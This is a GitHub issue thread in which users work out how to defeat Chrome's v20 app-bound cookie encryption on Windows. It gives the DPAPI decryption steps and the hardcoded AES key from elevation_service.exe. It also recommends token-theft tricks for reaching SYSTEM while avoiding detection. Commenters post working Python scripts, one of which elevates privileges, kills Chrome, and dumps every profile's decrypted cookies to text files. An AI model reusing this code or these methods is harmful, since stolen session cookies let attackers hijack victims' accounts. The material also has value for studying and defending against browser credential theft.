Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Chromium v20 encryption is being rolled out #431

Open
blul1ghtz opened this issue Oct 9, 2024 · 32 comments
Open

Chromium v20 encryption is being rolled out #431

blul1ghtz opened this issue Oct 9, 2024 · 32 comments
Labels
bug Something isn't working

Comments

@blul1ghtz
Copy link

This issue is sort of going to be a big deal for this repo unless somebody comes up with a way of decrypting using the "same "aplication" as google chrome or the browser your using.
https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html

@blul1ghtz blul1ghtz added the bug Something isn't working label Oct 9, 2024
@moonD4rk moonD4rk pinned this issue Oct 9, 2024
@moonD4rk moonD4rk changed the title v20 encryption is being rolled out Chromium v20 encryption is being rolled out Oct 9, 2024
@moonD4rk
Copy link
Owner

moonD4rk commented Oct 9, 2024

The new version of Chromium has updated new encryption algorithm, prefix v20, the decryption method is under research.

Ref:

@blul1ghtz
Copy link
Author

Sucks cus i was working on a project for v10 for literally the last few weeks, please let me know if you find anything that comes out related to any methods of decrypting.

@runassu
Copy link

runassu commented Oct 15, 2024

The new version of Chromium has updated new encryption algorithm, prefix v20, the decryption method is under research.

Ref:

Chrome cookie encrypted_value v20 use app_bound_encrypted_key in Local State file. To decrypt this, we first need to decrypt app_bound_encrypted_key with the SYSTEM DPAPI, followed by the user DPAPI. In other brand browsers, we can directly get the 32-bytes AES key to decrypt encrypted cookies. Chrome requires some additional steps.
ref:
https://github.com/chromium/chromium/blob/35afbc6f6b81d51d697ea615364a972832dab418/chrome/elevation_service/elevator.cc#L199

For example, after the double step DPAPI decryption, the resulting value comes with Chrome path, then 1-byte flag 0x01, 12-bytes IV, 32-bytes ciphertext, 16-bytes TAG.

00000000  1f 00 00 00 02 43 3a 5c 50 72 6f 67 72 61 6d 20  |.....C:\Program |
00000010  46 69 6c 65 73 5c 47 6f 6f 67 6c 65 5c 43 68 72  |Files\Google\Chr|
00000020  6f 6d 65 3d 00 00 00 01 ca bf 17 e5 f2 f4 47 b0  |ome=....Ê¿.åòôG°|
00000030  e8 1b 64 1b f2 7c 22 49 66 e2 5f fc ed d2 e0 cf  |è.d.ò|"Ifâ_üíÒàÏ|
00000040  c0 4e 1f 21 f6 1b c2 da a2 eb 6f 53 2c 47 d3 9e  |ÀN.!ö.ÂÚ¢ëoS,GÓ.|
00000050  7b 50 e6 7f 4d 5c 34 3f e6 ee d9 43 58 91 9e d2  |{Pæ.M\4?æîÙCX..Ò|
00000060  3a d8 96 30                                      |:Ø.0|

IV: ca bf 17 e5 f2 f4 47 b0 e8 1b 64 1b
ciphertext: f2 7c 22 49 66 e2 5f fc ed d2 e0 cf c0 4e 1f 21 f6 1b c2 da a2 eb 6f 53 2c 47 d3 9e 7b 50 e6 7f
TAG: 4d 5c 34 3f e6 ee d9 43 58 91 9e d2 3a d8 96 30
We can decrypt it using AES-256-GCM, with the key hardcoded in elevation_service.exe:

01455184   B3 1C 6E 24 1A C8 46 72  8D A9 C1 FA C4 93 66 51
01455200   CF FB 94 4D 14 3A B8 16  27 6B CC 6D A0 28 47 87

This will yield the decrypted key, which works exactly as encrypted_key did.

00000000  6d 29 6e e5 7a 29 25 6e 74 5e 26 25 15 97 1e 66
00000010  c1 98 cd 32 2c a6 9f fd 57 de 15 73 8b ed cd 6c

Here is th PoC
https://github.com/runassu/chrome_v20_decryption/blob/31ff1e97a42bc548aa9894f72108b922b3cdba1f/decrypt_chrome_v20_cookie.py

@eidson-ciao
Copy link

I am really looking forward to your new method to decrypt chrome, because I have been using your program for many years
👍🏻👍🏻👍🏻

@slimwang
Copy link
Contributor

slimwang commented Oct 16, 2024

@runassu Great work!

As you mentioned:

In other brand browsers, we can directly get the 32-bytes AES key to decrypt encrypted cookies. Chrome requires some additional steps.

This might be because other browsers haven’t updated to the latest Chromium version yet. I expect that once they do, the App-Bound encryption challenge will likely appear there as well.

I also noticed that your PoC requires administrator privileges. I’m wondering if there’s a way to retrieve the app_bound_encrypted_key without needing to elevate privileges. Have you considered any alternative methods for this?

@runassu
Copy link

runassu commented Oct 17, 2024

@slimwang the first decrypt step uses SYSTEM DPAPI credential, my PoC leveraging it with Windows API. You can use other tools for this decryption, but I believe they would also require administrator privileges or you must have the keyfile and SYSTEM/SECURITY registry to access the MasterKey.

@thewh1teagle
Copy link

We can decrypt it using AES-256-GCM, with the key hardcoded in elevation_service.exe:

How can we get the hardcoded key from elevation_service.exe in edge/brave?

@blul1ghtz
Copy link
Author

blul1ghtz commented Oct 26, 2024

@thewh1te try opening it in ghidra if u need the latest value, i tried an example script to decrypt v20 and it seems to work with the hardcoded string that runassu gives in his python example, "sxxuJBrIRnKNqcH6xJNmUc/7lE0UOrgWJ2vMbaAoR4c=", check it out at https://github.com/runassu/chrome_v20_decryption/blob/main/decrypt_chrome_v20_cookie.py

@thewh1teagle
Copy link

thewh1teagle commented Oct 26, 2024

@thewh1te try opening it in ghidra if u need the latest value, i tried an example script to decrypt v20 and it seems to work with the hardcoded string that runassu gives in his python example, "sxxuJBrIRnKNqcH6xJNmUc/7lE0UOrgWJ2vMbaAoR4c=", check it out at https://github.com/runassu/chrome_v20_decryption/blob/main/decrypt_chrome_v20_cookie.py

It works in Chrome. but not in Edge/Brave
I tried to search the value with ghidra in the file

C:\Program Files\BraveSoftware\Brave-Browser\Application\130.1.71.118\elevation_service.exe

But it's different from Chrome I couldn't find it

See runassu/chrome_v20_decryption#7

@blul1ghtz
Copy link
Author

@thewh1teagle either other browsers use a different hardcoded key in there elevation_service.exe or it more likely hasn't been implemented fully in other browsers, im about to check out elevation_service.exe myself

@thewh1teagle
Copy link

@thewh1teagle either other browsers use a different hardcoded key in there elevation_service.exe or it more likely hasn't been implemented fully in other browsers, im about to check out elevation_service.exe myself

I'm pretty sure that it's already implemented in other browsers since the encrypted key stored as b'APPB......'

@blul1ghtz
Copy link
Author

blul1ghtz commented Oct 26, 2024

@thewh1teagle nvm seems that other browsers do indeed have v20, must be a different hardcoded key, also i just checked under ghidra and i have no idea where exactly they store the key lol, seems runassu is one of the only ppl with proper knowledge

@githubesson
Copy link

The new version of Chromium has updated new encryption algorithm, prefix v20, the decryption method is under research.
Here is th PoC https://github.com/runassu/chrome_v20_decryption/blob/31ff1e97a42bc548aa9894f72108b922b3cdba1f/decrypt_chrome_v20_cookie.py

wrote my own golang version for those interested (as this is a golang project), big shoutout to the original author
https://github.com/githubesson/chrome_abe_poc

@blul1ghtz
Copy link
Author

does anybody know why after doing SYSTEM DPAPI and then USER DPAPI in C++ it gives a random mumbo jumbo value which doesn't even include the program files path, i keep getting "Xßëáhσòk§A╠↓^êôv'u¿φòΘ╛"µú╛âv╠a║▼┌dº≤Θ0 ╢û₧Ω▒f6ArY;╟" and i need to know why, I've been getting the same value no matter what i do for almost 3 days now, yes I'm using a service with SYSTEM privilege to do my SYSTEM DPAPI and then running as regular USER DPAPI in another program, does it have to be run by the same program? any information on this little anomaly is appreciated.

@abs0lute-i
Copy link

@thewh1teagle I actually went through this the other day, Edge doesn't do the last step with the hardcoded AES key from the elevation service. @runassu kind of explains what you can do for other browsers (namely Edge) when he says you get the 32 bit key during the User DPAPI decryption. Currently Edge uses v20 cookie encrypted blobs, but does things slightly different than Chrome. In essence, you can do the System DPAPI decrypt then the User DPAPI decrypt of the app bound key, then grab the last 32 bytes of that to get your AES statekey. You can then use something like SharpChrome (little bit modified so it accepts v20 cookies) to decrypt your Edge cookies, just as if they were v10 cookies. Not sure if in the future they will hardcode a key in their own elevation service as Chrome does.

@abs0lute-i
Copy link

@slimwang the first decrypt step uses SYSTEM DPAPI credential, my PoC leveraging it with Windows API. You can use other tools for this decryption, but I believe they would also require administrator privileges or you must have the keyfile and SYSTEM/SECURITY registry to access the MasterKey.

As far as I understand it, the Chrome elevation service now offers several more IPC interfaces that you can use to pull the fully decrypted key from a low privileged user context. I haven't tested this POC but one does exist -> https://gist.github.com/snovvcrash/caded55a318bbefcb6cc9ee30e82f824

Just two ways to achieve the same goal, the Chrome blog also mentions that unless you are running high integrity you need to make the call from Chrome itself, so not sure if you'd need to inject into a Chrome process or something like that.

@abs0lute-i
Copy link

does anybody know why after doing SYSTEM DPAPI and then USER DPAPI in C++ it gives a random mumbo jumbo value which doesn't even include the program files path, i keep getting "Xßëáhσòk§A╠↓^êôv'u¿φòΘ╛"µú╛âv╠a║▼┌dº≤Θ0 ╢û₧Ω▒f6ArY;╟" and i need to know why, I've been getting the same value no matter what i do for almost 3 days now, yes I'm using a service with SYSTEM privilege to do my SYSTEM DPAPI and then running as regular USER DPAPI in another program, does it have to be run by the same program? any information on this little anomaly is appreciated.

I'm not a programmer but I might be able to help if you share some code. One thing to make sure of is you are cutting off the first 4 bytes of the app_bound_encryption_key original value (@runassu does a substring on the value after finding it like [4:], which cuts off the APPB header). In terms of the SYSTEM/USER DPAPI decryption, you can do this really anyway you want as long as you are doing the decryptions in both contexts. They do not need to come from the same program.

@blul1ghtz
Copy link
Author

blul1ghtz commented Oct 27, 2024

i've uploaded a "MyService" and "MyProgram" to my v20 decryption attempt repo, just mind that it is not layed out perfectly and the MainProgram includes code that doesn't need to be included, i'm also gonna try to recreate my program using actual elevators instead of services, just didn't go well last time i attempted it

@githubesson
Copy link

i'm also gonan try to recrerate my program using actual elevators instead of sevrices, just didn't go well last time i attempted it

look into token stealing from other processes, thats what i used in my example (using the lsass process's token). less messy than services, but i dont think itll be viable for anything else than a poc (although defender didnt go off for some reason). im sure theres a bunch of examples in cpp already, so it shouldnt be that hard (heres one https://github.com/slyd0g/PrimaryTokenTheft).

@thewh1teagle
Copy link

thewh1teagle commented Oct 27, 2024

@thewh1teagle I actually went through this the other day, Edge doesn't do the last step with the hardcoded AES key from the elevation service. @runassu kind of explains what you can do for other browsers (namely Edge) when he says you get the 32 bit key during the User DPAPI decryption. Currently Edge uses v20 cookie encrypted blobs, but does things slightly different than Chrome. In essence, you can do the System DPAPI decrypt then the User DPAPI decrypt of the app bound key, then grab the last 32 bytes of that to get your AES statekey. You can then use something like SharpChrome (little bit modified so it accepts v20 cookies) to decrypt your Edge cookies, just as if they were v10 cookies. Not sure if in the future they will hardcode a key in their own elevation service as Chrome does.

I'm not sure how to construct the aes key for Edge/Brave.
I tried to take the last 32 bytes of decrypted_key (returned from system + user dpapi decryption) but it failed to decrypt
See https://github.com/runassu/chrome_v20_decryption/blob/main/decrypt_chrome_v20_cookie.py

Eg.

aes_key = decrypted_key[-32:]
iv = decrypted_key[0:12]
ciphertext = decrypted_key[12:12+32]
tag = decrypted_key[12+32:]

@abs0lute-i
Copy link

abs0lute-i commented Oct 27, 2024

@thewh1teagle you're on the right track. The last 32 bytes you receive is your AES key used during the function cookie decryption function. You essentially skip the first AES256 decrypt in runassu's script. Here is a sample script that takes in the cookie db path and the hex statekey as arguments, refactored from @runassu's script.

Example usage, python3 decrypt.py C:\Users\Admin\Desktop\Cookies.bak "01020304050607080910111213141516"

import os
import json
import sys
import binascii
from Crypto.Cipher import AES
import sqlite3
import pathlib

cookie_db_path = sys.argv[1]

decrypted_key = sys.argv[2]
decrypted_key = binascii.unhexlify(decrypted_key.replace(" ", ""))

con = sqlite3.connect(pathlib.Path(cookie_db_path).as_uri() + "?mode=ro", uri=True) 
con.text_factory = bytes
cur = con.cursor()
r = cur.execute("SELECT host_key, name, encrypted_value from cookies;")
cookies = cur.fetchall()
cookies_v20 = [c for c in cookies if c[2][:3] == b"v20"]
con.close()

def decrypt_cookie_v20(encrypted_value):
    cookie_iv = encrypted_value[3:3+12]
    encrypted_cookie = encrypted_value[3+12:-16]
    cookie_tag = encrypted_value[-16:]
    cookie_cipher = AES.new(decrypted_key, AES.MODE_GCM, nonce=cookie_iv)
    decrypted_cookie = cookie_cipher.decrypt_and_verify(encrypted_cookie, cookie_tag)
    decrypted_cookie = decrypted_cookie[32:]
    return decrypted_cookie

for c in cookies_v20:
    print(c[0], c[1], decrypt_cookie_v20(c[2]))

Let me know if that makes more sense.

@abs0lute-i
Copy link

i'm also gonan try to recrerate my program using actual elevators instead of sevrices, just didn't go well last time i attempted it

look into token stealing from other processes, thats what i used in my example (using the lsass process's token). less messy than services, but i dont think itll be viable for anything else than a poc (although defender didnt go off for some reason). im sure theres a bunch of examples in cpp already, so it shouldnt be that hard (heres one https://github.com/slyd0g/PrimaryTokenTheft).

Elevation via token duplication is actually not as suspicious as you might think for some reason. I wouldn't recommend using a token from LSASS (stay away from touching LSASS if possible as you need to open a handle to it), but you can use something like winlogon to elevate to SYSTEM to do the decrypt, then revert your privileges to do the next decryption.

@thewh1teagle
Copy link

@thewh1teagle you're on the right track. The last 32 bytes you receive is your AES key used during the function cookie decryption function. You essentially skip the first AES256 decrypt in runassu's script. Here is a sample script that takes in the cookie db path and the hex statekey as arguments, refactored from @runassu's script.

Thanks! I missed another bit there and your example help me find the issue.
It works now!
I released new version to rookie and now it supports basically every chrome based browser :)

pip install -U rookiepy

@abs0lute-i
Copy link

Awesome, glad you got it working.

@githubesson
Copy link

Elevation via token duplication is actually not as suspicious as you might think for some reason. I wouldn't recommend using a token from LSASS (stay away from touching LSASS if possible as you need to open a handle to it), but you can use something like winlogon to elevate to SYSTEM to do the decrypt, then revert your privileges to do the next decryption.

i thought token duplication is one of the older tricks in the book, and yeah other than touching lsass everything else is exactly as youve described. will change the process tmrw, thanks for the tip!

@SomePersonOk
Copy link

Decrypt cookies for all profiles, for both new and old cookies:

#Author https://github.com/SomePersonOk

import os
import json
import sys
import binascii
import sqlite3
import base64
import ctypes
from subprocess import run, CREATE_NEW_CONSOLE, SW_HIDE
from pypsexec.client import Client
from Crypto.Cipher import AES
import pyaes

# Get the user's Chrome profile path
user_profile = os.environ['USERPROFILE']
chrome_data_path = rf"{user_profile}\AppData\Local\Google\Chrome\User Data"
local_state_path = rf"{chrome_data_path}\Local State"

# Load the local state to access encryption keys
with open(local_state_path, "r", encoding="utf-8") as f:
    local_state = json.load(f)

app_bound_encrypted_key = local_state["os_crypt"]["app_bound_encrypted_key"]
profile_list = local_state['profile']['profiles_order']
v10_encryption_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])[5:]

def decrypt_data(encrypted_data: bytes, optional_entropy: str = None) -> bytes:
    """Decrypt data using the Windows CryptUnprotectData API."""

    class DATA_BLOB(ctypes.Structure):
        _fields_ = [
            ("cbData", ctypes.c_ulong),
            ("pbData", ctypes.POINTER(ctypes.c_ubyte))
        ]

    # Prepare the data blob for input
    input_data_blob = DATA_BLOB(len(encrypted_data), ctypes.cast(encrypted_data, ctypes.POINTER(ctypes.c_ubyte)))
    output_data_blob = DATA_BLOB()
    optional_entropy_blob = None

    # Handle optional entropy if provided
    if optional_entropy is not None:
        optional_entropy = optional_entropy.encode("utf-16")
        optional_entropy_blob = DATA_BLOB(len(optional_entropy), ctypes.cast(optional_entropy, ctypes.POINTER(ctypes.c_ubyte)))

    # Call the CryptUnprotectData function
    if ctypes.windll.Crypt32.CryptUnprotectData(ctypes.byref(input_data_blob), None, ctypes.byref(optional_entropy_blob) if optional_entropy_blob else None, None, None, 0, ctypes.byref(output_data_blob)):
        data = (ctypes.c_ubyte * output_data_blob.cbData)()
        ctypes.memmove(data, output_data_blob.pbData, output_data_blob.cbData)
        ctypes.windll.Kernel32.LocalFree(output_data_blob.pbData)
        return bytes(data)

    raise ValueError("Invalid encrypted_data provided!")

def retrieve_v20_key():
    """Retrieve the decryption key for Chrome v20 cookies."""

    arguments = "-c \"" + """import win32crypt
    import binascii
    encrypted_key = win32crypt.CryptUnprotectData(binascii.a2b_base64('{}'), None, None, None, 0)
    print(binascii.b2a_base64(encrypted_key[1]).decode())
    """.replace("\n", ";") + "\""

    client = Client("localhost")
    client.connect()

    try:
        client.create_service()

        # Validate and decode the app bound encrypted key
        assert (binascii.a2b_base64(app_bound_encrypted_key)[:4] == b"APPB")
        app_bound_encrypted_key_b64 = binascii.b2a_base64(binascii.a2b_base64(app_bound_encrypted_key)[4:]).decode().strip()

        # Decrypt the key using SYSTEM DPAPI
        encrypted_key_b64, stderr, rc = client.run_executable(
            sys.executable,
            arguments=arguments.format(app_bound_encrypted_key_b64),
            use_system_account=True
        )

        # Decrypt the key using user DPAPI
        decrypted_key_b64, stderr, rc = client.run_executable(
            sys.executable,
            arguments=arguments.format(encrypted_key_b64.decode().strip()),
            use_system_account=False
        )

        # Extract the decrypted key
        decrypted_key = binascii.a2b_base64(decrypted_key_b64)[-61:]
        assert (decrypted_key[0] == 1)

        # Decrypt the key with AES256GCM
        aes_key = binascii.a2b_base64("sxxuJBrIRnKNqcH6xJNmUc/7lE0UOrgWJ2vMbaAoR4c=")

        # Extract IV, ciphertext, and tag
        iv = decrypted_key[1:1 + 12]
        ciphertext = decrypted_key[1 + 12:1 + 12 + 32]
        tag = decrypted_key[1 + 12 + 32:]

        # Decrypt the key using AES
        cipher = AES.new(aes_key, AES.MODE_GCM, nonce=iv)
        key = cipher.decrypt_and_verify(ciphertext, tag)
        return key
    finally:
        try:
            client.remove_service()
        except:
            pass
        client.disconnect()

def decrypt_cookie(cookie_value, v10_key, v20_key) -> str:
    """Decrypt a cookie value using the provided keys."""

    try:
        if cookie_value[:3] == b"v10" or cookie_value[:3] == b"v11":
            return pyaes.AESModeOfOperationGCM(v10_key, cookie_value[3:15]).decrypt(cookie_value[15:])[:-16].decode()

        elif cookie_value[:3] == b"v20":
            cookie_iv = cookie_value[3:3 + 12]
            encrypted_cookie = cookie_value[3 + 12:-16]
            cookie_tag = cookie_value[-16:]
            cookie_cipher = AES.new(v20_key, AES.MODE_GCM, nonce=cookie_iv)
            decrypted_cookie = cookie_cipher.decrypt_and_verify(encrypted_cookie, cookie_tag)
            return decrypted_cookie[32:].decode('utf-8')
    except Exception as e:
        print(e)
        return "Failed Decoding"

def get_cookies():
    """Retrieve and decrypt Chrome cookies for each profile."""

    if not profile_list:
        print("no profiles found")
        sys.exit(1)

    v10_key = decrypt_data(v10_encryption_key)
    v20_key = retrieve_v20_key()

    # Kill any running Chrome instances
    run(f"taskkill /f /im chrome.exe", shell=True, creationflags=CREATE_NEW_CONSOLE | SW_HIDE)

    for profile in profile_list:
        try:
            cookie_db_path = os.path.join(chrome_data_path, profile, 'Network', 'Cookies')
            con = sqlite3.connect(
                fr"file:{cookie_db_path}?mode=ro&immutable=1",
                uri=True,
                isolation_level=None,
                check_same_thread=False
            )
            cur = con.cursor()
            cookies_list = cur.execute("SELECT host_key, name, path, CAST(encrypted_value AS BLOB), expires_utc FROM cookies").fetchall()
            con.close()
            cookies_list_filtered = [row for row in cookies_list if row[0] != ""]

            data = "{0}\t{1}\t{2}\t{3}\t{4}\t{5}\t{6}\n"
            temp = [
                data.format(host, str(expiry != 0).upper(), pathc, str(not host.startswith('.')).upper(), expiry, name,
                            decrypt_cookie(cookiec, v10_key, v20_key))
                for host, name, pathc, cookiec, expiry in cookies_list_filtered
            ]
            with open(rf"{profile} Cookies.txt", '+w', encoding="utf-8") as cookietxt:
                cookies = "\n".join(row for row in temp)
                cookietxt.write(cookies)
        except Exception as e:
            print(e)


get_cookies()

@thewh1teagle
Copy link

thewh1teagle commented Oct 29, 2024

The new version of Chromium has updated new encryption algorithm, prefix v20, the decryption method is under research.
Here is th PoC https://github.com/runassu/chrome_v20_decryption/blob/31ff1e97a42bc548aa9894f72108b922b3cdba1f/decrypt_chrome_v20_cookie.py

wrote my own golang version for those interested (as this is a golang project), big shoutout to the original author https://github.com/githubesson/chrome_abe_poc

Very interesting approach to escalate system privileges!
Do you know a simple python library for that? Seems like using winali directly will be much messy than golang's.
Also, I tried to spawn whoami.exe after calling
impersonateSystem and it didn't showed system. Though it works with dpapi correctly

@githubesson
Copy link

Very interesting approach to escalate system privileges!

Do you know a simple python library for that? Seems like using winali directly will be much messy than golang's.

Also, I tried to spawn whoami.exe after calling

impersonateSystem and it didn't showed system. Though it works with dpapi correctly

honestly no idea if such packages exist, what i know is that python package used in the original poc doesnt have a counterpart in golang, so ive had to use a different method (or build it myself, but im too lazy for that). good luck :)

@thewh1teagle
Copy link

honestly no idea if such packages exist, what i know is that python package used in the original poc doesnt have a counterpart in golang, so ive had to use a different method (or build it myself, but im too lazy for that). good luck :)

I implemented it in Python as well. See runassu/chrome_v20_decryption#7 (comment)
Also I implemented it in Rust and added to latest version of rookie (Python/Javascript/Rust APIs)
Thanks for the interesting approach with token duplication

@moonD4rk
Copy link
Owner

Elastic Security Labs has released an article introducing the encryption in version v20.

@dryize
Copy link

dryize commented Nov 17, 2024

I'm faced with error "Key not valid for use in specified state." when used with chrome 131. Any idea what the reason could be.

Script is executed with elevated privileges.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bug Something isn't working
Projects
None yet
Development

No branches or pull requests

10 participants